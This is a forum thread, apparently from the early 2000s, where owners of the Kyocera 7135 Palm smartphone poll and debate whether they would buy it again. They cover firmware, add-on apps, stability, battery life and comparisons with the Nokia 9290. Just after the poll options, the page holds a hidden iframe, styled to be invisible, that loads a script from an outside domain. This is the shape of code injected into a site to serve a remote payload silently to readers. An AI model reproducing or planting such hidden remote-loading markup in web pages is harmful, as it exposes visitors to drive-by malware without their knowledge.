I am currently sitting on the fence about purchasing the Kyocera 7135 so I decided to create a poll.

Would you purchase the 7135 again?

Yes
No
Maybe if it had more features, i.e. higher resolution screen, bluetooth.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Well... I would vote but I dont like your options


If it was a rating between 1 and 5 I would give it a 3.8. This is why:

Negatives:
Never have been a huge fan of the palm OS. Pocket PCs like the IPaq seem to have more reliable software and OS.

Preinstalled mail client is worthless for richtext emails.

Browsing the web is very painfull. (Although I hear the fabled firware update improves this)

Battery life could be better.

Not the most stabled phone. BackupBuddy and a flash media card is a must.

Buggy Dialer for address book. (again... the latest fabled firware should fix this)

Possitives:
All in one... This is just fantastic.

Palm.Net programs work GREAT! (Must add them yourself)

Display is easy to read.

Multiple ring tones for categories! I can now stay in bed when I get early morning IT calls.

Pager Display was a great idea... helps with the above.

Signal strength is much better than my old AT&T phone.

Speaker phone does a decent job.

Being able to check email is wonderful.



Anyone else want to put in their 2 cents?

I have had my 7135 for two months now and I am very pleased with it.

Firmware stats. MZ1.0.36, SZ 1.0.23, PRL 50096

Yes, I still occasionally experience the contrast bug, but all other negative experiences have been self inflicted.

I have used Brayder's JackSprat Ver 3.0b.1 to free up 3 meg of ROM and have had no negative consequences.

Blue Nomad's BackupBuddyVJS ver 2.02 is an absolute must. Not because the system is unstable, but because I am constantly testing apps and occasionally need to restore the system to a known "clean" configuration.

I now use SilverScreen Ver Ver 3.0.2 launcher. I preferred LaunchEm but that app is no longer supported or updated (or even recognized) by the new owner so reluctantly I moved on to another launcher. SilverScreen has been an acceptable replacement with which I am becoming more confortable.

I currently have over 70 apps loaded. A little more than half Iof which have moved to my 64 meg SanDisk SD card. I use DataViz Documents to Go 5.004 and recommend it highly. I skipped the Desktop To Go interface. I tried it, but found no significant reason to keep upgrading that product. I use MS Office Pro to create Word, Excel and PowerPoint documents and transfer them to my 7135. I occasionally make chages to the original document on the 7135 and or create new documents on the 7135 and sync them back to my desktop.

Recently I used SysInfo (file date 7/18/2002) to overclock the 7135 from 33 mhz to 38mhz but that seemed to destabilize the platform. After a couple of unintentional soft resets I performed a hard reset, reinstalled the system from FlashWrite and BackupBuddy and have had not problems since removing SysInfo. SysInfo is a nice system information app, but I would stay away from the overclocking feature.

If you are interested in more info, e-mail me. I will let you know more about how hard I have pushed the phone to find out how stable the platform is. I recommend the 7135.

__________________
bcottun

Good post. I push my 7135 hard also, and it has held up to the abuse great

* posted from my Kyocera 7135 smartphone

__________________
Please visit my picture site: Robert-O-Rama :)

WOW Robert! What browser did you use and what firmware are you on?

I tried a while back before the site was upgraded and had no luck.

I was just using EudoraWeb. I got the e-mail notification in SnapperMail, tapped on the URL (which I have set to launch EudoraWeb), and replied to the thread. You shouldn't have any trouble doing that

__________________
Please visit my picture site: Robert-O-Rama :)

I am on my second 7135 (accident took out the first one) and both have been pretty stable for me. The latest firmware I installed (44/29) did resolve a couple minor issues I was having.

I love my 7135, coverage with Verizon in my area is good, and with EN provisioned off my minutes my phone bill is only about $50 month.

The i500 is looking better than I expected, but the 7135 does what I want it to and more. Plus I'm not on $printPC$ anymore (Thank The Almighty).

I dont like :

The battery life sucks.

I still have not gone on the web yet ( I have setup my HPC's and Nokia 9290, but this puppy's got me stumped)

It's slow.( PhotoSuite is fast)

I have to soft reset it every week.

Cant find a good case for it.

I dont like the rubber cover for the SD slot.

Speaker phone is a joke.

I cant be sent a JPEG.

I cant see a fax.

I cant send a fax.

What the heck is Graffiti.( I like keyboards)


Things I do like :

It makes a noise when I open and close it. (Way cool)

It is easy to install phone numbers form the computor.



I have only had this phone for about 4 months.
And the is my first Palm. So I dont mean to put it down.

I would not recomend it to some one who has not used a palm before. I would make them buy a cheap old palm first, then if they like it, buy the phone.

If they fixed the things I dont like about the phone I would buy another one.

Based on your list of likes/dislikes, I'm wondering why the heck did you get a 7135?

__________________
Please visit my picture site: Robert-O-Rama :)

I was thinking the same thing. I do agree that unless you've used and loved Palms, this might not be the best introduction.

Also, if you don't use a lot of BIG Palm programs with BIG files requiring a SD card, or don't like the speakerphone, there are other smartphones which will work just as well. Accessing the web is just one of the many things that attracted me to the 7135 but it does take using other products to make it a better experience. I receive/view/send jpegs all of the time (Snappermail+Jpegwatch) and I know people who send/receive faxes.

You do have a point about the stability although there are folks who NEVER have to reset.

I had to rereplace a Kyocera that would turn its self off all the time.

My service is with Verizon.
It was the best phone they had. They have good service, butt their phones suck. They dont sell Nokia!!


So I was stuck buying the phone.

I have used my Nokia 9290 for over a year, and like the PDA features.
So I wanted another PDA phone.



I will not buy any more PDA's or phones that have a red/blue/green/yellow flag on them. Ya I'm tuff on Microsoft, go to their home page and tell them to bring back the HPC!

Handheld PC + Phone = Dream Phone (I love big displays, and keyboards)


I dont mind speending money on software for it, to fix the fax,and other things.

The main thing I don't like is why did they use a old CPU in a 'New" phone. This puppy is slow. It's like we (USA) get the trash phones.

I just want a phone that will be my mobile office.

Sorry, the post is long. It just toke me a long time to come up with "Mobile Office", That's what a PDA/Smart Phone means to me. The 7135 outof the box was not one.

Hi,

I am relatively new to the 7135 as they have just come to Canada (Finally). I own my own busy retail franchise and found that above all I needed a Palm Pilot strapped to my belt at all times because I receive calls and requests to book appointments as I am working on the floor. I actually call this my new Palm Pilot rather than new phone. I have my whole life in my Palm Pilot so I loved that I could just synch the phone and voila it was exactly the same configuration as what I am used to. The fact that it is also a phone was the main selling feature.

Even though I love technology lets face it... it is rather geeky to have a Palm and a phone strapped to holsters. The fact that I can do everything with one unit suits my needs perfectly.

I would just be careful about cluttering it up with 3rd party software that just mimick Palm Based apps. I tried TakePhone and it kept giving me fatal alerts. But my Handshigh ToDo+ and Thoughtmanager work fine. Just be sure the app you put on is a need to have rather than a nice to have.

Up date:


I have found out I can not text some phones with the 7135, but I can with my 9290. Last month I sent over 600 text messages. No I don't spam cellphones...LOL


The year is 2003. When I put information into a PDA/Phone, that information must stay in there till I delet it. If this was 1999 I could understand.

Butt:

I lost a lot of appointments, and contacts. When I had to rest the phone one day.




Like I have said before....Out off the box, this phone is bad.


10 being great, 1 means it sucks.

If the person has used a palm for many months and likes it. I would give it a 7.

If the person has never used a highend phone. I would give it a 3.5

PS. I know I sound harsh on the 7135 and allways put it up aganst the Nokia 9290. But I cary both phones with me every day, and the 9290 has allways been a better phone (Out of the box...No extra software needed).

I will post the good and the bad of the 9290, next week on it's forum.